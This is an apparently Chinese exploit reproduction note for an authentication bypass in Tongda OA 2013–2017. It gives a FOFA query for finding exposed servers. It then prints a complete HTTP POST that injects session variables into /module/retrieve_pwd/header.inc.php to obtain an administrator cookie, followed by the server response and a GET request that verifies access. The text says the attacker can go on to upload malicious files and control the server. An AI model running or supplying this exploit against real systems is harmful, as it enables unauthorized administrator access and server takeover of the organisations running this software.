

T10-29通达-OA-PermissionAC

漏洞描述：

攻击者可以通过构造恶意攻击代码，成功登录系统管理员账户，继而在系统后台上传恶意文件控制网站服务器。

影响版本：

通达OA2013、通达OA2016、通达OA2017

网站图片：



网络测绘：

fofa语法：

app.name="通达 OA"

漏洞复现：

1. 通过POC获取cookie

POST /module/retrieve_pwd/header.inc.php HTTP/1.1 Host: xx.xx.xx.xx Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cache-Control: no-cache Content-Length: 1834 Content-Type: application/x-www-form-urlencoded Pragma: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36

_SESSION[LOGIN_THEME]=15&_SESSION[LOGIN_USER_ID]=1&_SESSION[LOGIN_UID]=1&_SESSION[LOGIN_FUNC_STR]=1,3,42,643,644,634,4,147,148,7,8,9,10,16,11,130,5,131,132,256,229,182

request

1 POST /module/retrieve_pwd/header.inc.php HTTP/1.1

2 Host: xx.xx.xx.xx

3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9

4 Accept-Encoding: gzip, deflate, br

5 Accept-Language: zh-CN,zh;q=0.9

6 Cache-Control: no-cache

7 Content-Length: 1834

8 Content-Type: application/x-www-form-urlencoded

9 Pragma: no-cache

10 Upgrade-Insecure-Requests: 1

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36

12

13 _SESSION[LOGIN_THEME]=15&_SESSION[LOGIN_USER_ID]=1&_SESSION[LOGIN_UID]=1&_SESSION[LOGIN_FUNC_STR]=1,3,42,643,644,634,4,147,148,7,8,9,10,16,11,130,5,131,132,256,229,182

Responses 1135bytes / 39ms

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Mon, 14 Aug 2023 09:04:15 GMT

4 Content-Type: text/html; charset=utf-8

5 Connection: close

6 Vary: Accept-Encoding

7 Set-Cookie: PHPSESSID=n6kr9cao2oc9lcpbn8jonhpg4; path=/

8 Expires: Thu, 19 Nov 1981 08:52:00 GMT

9 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

10 Pragma: no-cache

11 X-UA-Compatible: IE=10

12 renderer: webkit

13 Content-Length: 1135

14

15 <!DOCTYPE html>

16 <!--[if IE 6]><html class="ie6 lte_ie6 lte_ie7 lte_ie8 lte_ie9"><![endif-->

17 <!--[if lte IE 6]><html class="lte_ie6 lte_ie7 lte_ie8 lte_ie9"><![endif-->

18 <!--[if lte IE 7]><html class="lte_ie7 lte_ie8 lte_ie9"><![endif-->

2. 验证是否成功获取到cookie

payload:

GET /general/ HTTP/1.1

Host: xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Pragma: no-cache
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=n6kr9cao2oc9lcpbn8jonhphg4; path=/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36

效果图:

